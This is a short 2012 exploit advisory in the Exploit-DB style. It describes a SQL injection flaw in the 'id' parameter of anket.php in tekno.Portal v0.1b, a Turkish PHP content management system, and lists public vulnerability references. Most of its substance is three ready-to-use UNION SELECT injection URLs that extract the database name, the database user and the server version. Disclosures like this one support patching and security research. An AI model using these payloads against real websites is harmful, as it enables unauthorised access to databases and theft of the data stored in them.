======================================================
    tekno.Portal v0.1b - SQLi Vulnerability in "anket.php" 
    ======================================================


____________________________________________________________________________________


# Exploit Title: tekno.Portal v0.1b - SQLi Vulnerability in "anket.php" 

# Date: [07-25-2012]

# Category: Webapps
____________________________________________________________________________________


# Author: Socket_0x03 (Alvaro J. Gene)

# Email: Socket_0x03@teraexe.com

# Website: www.teraexe.com 

____________________________________________________________________________________

# Software Link: http://sourceforge.net/projects/teknoportal

# Vulnerable Application: tekno.Portal

# Version: 0.1b

# Vulnerable File: anket.php

# Language: This application is available only in turkish language.

# Product Description: Tekno.Portal is a content management system (CMS) developed 
in PHP; furthermore, a webmaster can use this application to manage files, store
data, and more. 

____________________________________________________________________________________


# SQL Injection: 

http://www.website.com/teknoportal/anket.php?id=[SQLi]

# Examples of SQLi: 

http://www.website.com/teknoportal/anket.php?id=-1+union+select+1,2,3,database(),5
http://www.website.com/teknoportal/anket.php?id=-1+union+select+1,2,3,user(),5
http://www.website.com/teknoportal/anket.php?id=-1+union+select+1,2,3,@@version,5

____________________________________________________________________________________

# References:

https://www.securityfocus.com/bid/54698
https://www.exploit-db.com/exploits/37541
http://www.cnvd.org.cn/flaw/show/CNVD-2012-6702